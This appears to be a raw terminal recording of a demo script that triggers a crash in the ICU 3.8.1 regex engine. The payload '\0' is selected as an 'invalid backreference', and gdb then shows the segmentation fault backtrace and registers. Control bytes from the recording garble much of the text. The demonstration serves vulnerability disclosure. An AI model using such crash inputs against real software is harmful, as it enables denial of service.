(G-: user@vapor|0; (Gp(GP w(G d(Gܤ (GΥ /demos/icu (G&: user@vapor|0; (Gs(G)o(G2}u(Gr(GmK c(Gc e(GG  (Gq1.(G.(GH5/(G.0d(Ge&e(G[m(Gg os.sh (GfA (GU: demo@vapor|0; (GHh(Gr a(GI n(Gb d(G le_product (G  (Gk A00. Invalid backreference (Gl @01. Invalid interval #1, (Gm ?02. Invalid interval #2 (Gnm select vulnerability: (G^ 0(G, (GEEInvalid backreference selected. payload: \0 press enter to run. (G,  (GHK [1] 11821 (G c re> (Gc testing: \0 (G c../demos.sh: line 80: 11823 Segmentation fault (core dumped) ./tester <<(echo -n "$payload") (G -[1]+ Exit 139 ( eval $cmd ) (G Core file generated. (GL Opening gdb ... (G IUsing host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (Ga warning: (G 5Can't read pathname for load map: Input/output error.(G  (GY :Reading symbols from /lib/tls/i686/cmov/libpthread.so.0...(G! LReading symbols from /usr/lib/debug/lib/tls/i686/cmov/libpthread-2.3.6.so...(G& done. (Gi' done. (G' 7Loaded symbols for /lib/tls/i686/cmov/libpthread.so.0 (G( GReading symbols from /usr/local/encap/icu-3.8.1/lib/libicui18n.so.38...(G` done. (Ga DLoaded symbols for /usr/local/encap/icu-3.8.1/lib/libicui18n.so.38 (Gb EReading symbols from /usr/local/encap/icu-3.8.1/lib/libicuuc.so.38...(GUdone. (GVBLoaded symbols for /usr/local/encap/icu-3.8.1/lib/libicuuc.so.38 (GWGReading symbols from /usr/local/encap/icu-3.8.1/lib/libicudata.so.38...(GW warning: (GXVLowest section in /usr/local/encap/icu-3.8.1/lib/libicudata.so.38 is .hash at 000000b4(GIX (GXdone. (GYDLoaded symbols for /usr/local/encap/icu-3.8.1/lib/libicudata.so.38 (GY4Reading symbols from /lib/tls/i686/cmov/libm.so.6...(G_FReading symbols from /usr/lib/debug/lib/tls/i686/cmov/libm-2.3.6.so...(Gdgdone. (Ggdone. (GAh1Loaded symbols for /lib/tls/i686/cmov/libm.so.6 (Gh/Reading symbols from /usr/lib/libstdc++.so.6...(Gdone. (Gs,Loaded symbols for /usr/lib/libstdc++.so.6 (GA*Reading symbols from /lib/libgcc_s.so.1...(Gdone. (Gu'Loaded symbols for /lib/libgcc_s.so.1 (Gk4Reading symbols from /lib/tls/i686/cmov/libc.so.6...(GFReading symbols from /usr/lib/debug/lib/tls/i686/cmov/libc-2.3.6.so...(G_done. (G#done. (G}1Loaded symbols for /lib/tls/i686/cmov/libc.so.6 (G9*Reading symbols from /lib/ld-linux.so.2...(G6Reading symbols from /usr/lib/debug/lib/ld-2.3.6.so...(G"done. (GU#done. (G#'Loaded symbols for /lib/ld-linux.so.2 (G &#Core was generated by `./tester'. (Gm&8Program terminated with signal 11, Segmentation fault. (GU#0 0xf7da3a53 in u_strncmp_3_8 (s1=0x1e3ca, s2=0xffffd352, n=0x1) at ustring.c:945 (Ga3945 rc = (int32_t)*s1 - (int32_t)*s2; (GV>>(G*b(Gt(G(  (G>E U#0 0xf7da3a53 in u_strncmp_3_8 (s1=0x1e3ca, s2=0xffffd352, n=0x1) at ustring.c:945 (GF x#1 0xf7f755b5 in icu_3_8::RegexMatcher::MatchAt (this=0x804e198, startIdx=0x0, status=@0x804e1ec) at rematch.cpp:1817 (GG S#2 0xf7f76b32 in icu_3_8::RegexMatcher::find (this=0x804e198) at rematch.cpp:358 (Gw k#3 0x08048d91 in main (argc=0x1, argv=0xffffd424) at tester.cpp:37 Current language: auto; currently c (G@ >>(G l(G  (G`*(GN s(GZ1(G (GU#No source file for address 0x1e3ca.(G (GФ>>(Gl(Gu  (G4*(G`s(G/J 2(G  (Gz (No source file for address 0xffffd352. (G >>(G i(G n(Gf(Go(Gˣ (GAr(G{Te(Gg(G.  (GY/ eax 0x1e3ca(Gg/ 0x1e3ca (Gt/ &ecx 0xffffd352 0xffffd352 (G/ edx 0x1e3ca 0x1e3ca(G/  ebx 0xf7fda538(G/ & 0xf7fda538 esp 0xffffd024(G/ 0xffffd024 (G/ &ebp 0xffffd038 0xffffd038 (G/ $esi 0x804b168 0x804b168 (G/ $edi 0xffffd340 0xffffd340(G/  eip 0xf7da3a53(Gu0 0xf7da3a53 (G0 eflags 0x10202 [ IF RF ](G0  cs 0x23(G0  0x23 ss 0x2b(G0  0x2b ds 0x2b(G0  0x2b (G0 es 0x2b 0x2b (G0 fs 0x0 0x0 (G0 gs 0x63 0x63(G0  (G:1 >>(G7 quit (GT : demo@vapor|0; (Gcexit